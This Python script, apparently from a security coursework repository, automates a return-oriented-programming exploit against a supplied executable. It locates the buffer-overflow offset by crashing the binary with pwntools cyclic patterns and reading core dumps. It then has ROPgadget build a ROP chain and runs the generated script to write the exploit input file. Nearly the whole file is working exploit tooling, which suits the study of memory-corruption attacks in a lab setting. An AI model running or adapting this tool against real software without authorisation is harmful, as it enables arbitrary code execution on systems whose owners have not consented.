security-cw/auto-rop.py

from pwnlib.elf.corefile import Coredump
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib.tubes.process import process, signal

import os
import sys
import subprocess
import argparse
from contextlib import redirect_stderr


print(r'''
   _                ___       _.--.  ___        _____          ______ _____          ______ ______ 
\`.|\..----...-'`   `-._.-'_.-'`    / _ \      / ____|   /\   |____  / ____|   /\   |  ____|  ____|
/  ' `         ,       __.--'      | | | |_  _| |       /  \      / / |       /  \  | |__  | |__   
)/' _/     \   `-_,   /            | | | \ \/ / |      / /\ \    / /| |      / /\ \ |  __| |  __|
`-'" `"\_  ,_.-;_.-\_ ',           | |_| |>  <| |____ / ____ \  / / | |____ / ____ \| |    | |____ 
    _.-'_./   {_.'   ; /            \___//_/\_\\_____/_/    \_\/_/   \_____/_/    \_\_|    |______|
   {_.-``-'         {_/
''')

arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--core", "--c", metavar="core_file", default="core", type=str, help="The name of the generated core file")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
args = arg_parser.parse_args()

exec_file = args.exec_file
core_file = args.core
rop_file = args.rop_file

def find_offset(exec_file, core_file):
    input_file = "input.txt"

    try:
        os.remove(core_file)
    except:
        pass    
    
    payload_size = 32
    while payload_size <= 16384:
        print(f"[🤔] Trying payload {payload_size}...")

        with open(input_file, "wb") as f:
            payload = cyclic(payload_size)
            f.write(payload)

        process([f"./{exec_file}", input_file]).wait()

        try:
            with open("/dev/null", "w") as f, redirect_stderr(f):
                core = Coredump(f"./{core_file}")
            
            if core and pack(core.eip) in payload:
                offset = cyclic_find(core.eip)
                print(f"[😳] Found offset at {offset}!")
                return offset
        except FileNotFoundError:
            pass

        os.remove(input_file)
        payload_size *= 2
    
    raise BaseException("[😞] Failed to find offset.")

offset = find_offset(exec_file, core_file)

print(f"[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run(
    [
        "ROPgadget",
        "--binary", exec_file,
        "--ropchain",
        "--silent",
        "--paddingLen", str(offset)
    ], 
    stdout = subprocess.PIPE
)

with open("script.py", "wb") as f:
    f.write(result.stdout)

print(f"[🤔] Running generated script to create ROP input file...")
process(["python3", "script.py", rop_file]).wait()

print(f"[🤩] All done! The ROP input is saved to {rop_file}!")